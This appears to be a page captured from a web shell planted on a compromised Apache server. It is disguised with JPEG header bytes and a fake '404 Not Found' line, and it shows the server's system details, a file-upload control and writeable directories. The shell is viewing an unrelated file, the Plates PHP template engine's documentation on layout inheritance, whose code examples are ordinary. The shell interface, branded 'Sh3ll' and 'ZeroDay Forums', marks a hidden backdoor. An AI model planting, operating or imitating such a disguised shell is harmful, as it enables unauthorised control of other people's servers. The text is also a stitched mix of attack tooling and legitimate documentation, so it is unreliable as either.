����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/vendor/league/plates/docs/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/st2/vendor/league/plates/docs/templates/inheritance.md
---
layout: default
permalink: templates/inheritance/
title: Inheritance
---

Inheritance
===========

By combining [layouts](/templates/layouts/) and [sections](/templates/sections/), Plates allows you to "build up" your pages using predefined sections. This is best understand using an example:


## Inheritance example

The following example illustrates a pretty standard website. Start by creating a site template, which includes your header and footer as well as any predefined content [sections](/templates/sections/). Notice how Plates makes it possible to even set default section content, in the event that a page doesn't define it.

<div class="filename">template.php</div>
~~~ php
<html>
<head>
    <title><?=$this->e($title)?></title>
</head>
<body>

<img src="logo.png">

<div id="page">
    <?=$this->section('page')?>
</div>

<div id="sidebar">
    <?php if ($this->section('sidebar')): ?>
        <?=$this->section('sidebar')?>
    <?php else: ?>
        <?=$this->fetch('default-sidebar')?>
    <?php endif ?>
</div>

</body>
</html>
~~~

With the template defined, any page can now "implement" this [layout](/templates/layouts/). Notice how each section of content is defined between the `start()` and `end()` functions.

<div class="filename">profile.php</div>
~~~ php
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<?php $this->start('page') ?>
    <h1>Welcome!</h1>
    <p>Hello <?=$this->e($name)?></p>
<?php $this->stop() ?>

<?php $this->start('sidebar') ?>
    <ul>
        <li><a href="/link">Example Link</a></li>
        <li><a href="/link">Example Link</a></li>
        <li><a href="/link">Example Link</a></li>
        <li><a href="/link">Example Link</a></li>
        <li><a href="/link">Example Link</a></li>
    </ul>
<?php $this->stop() ?>
~~~

ZeroDay Forums Mini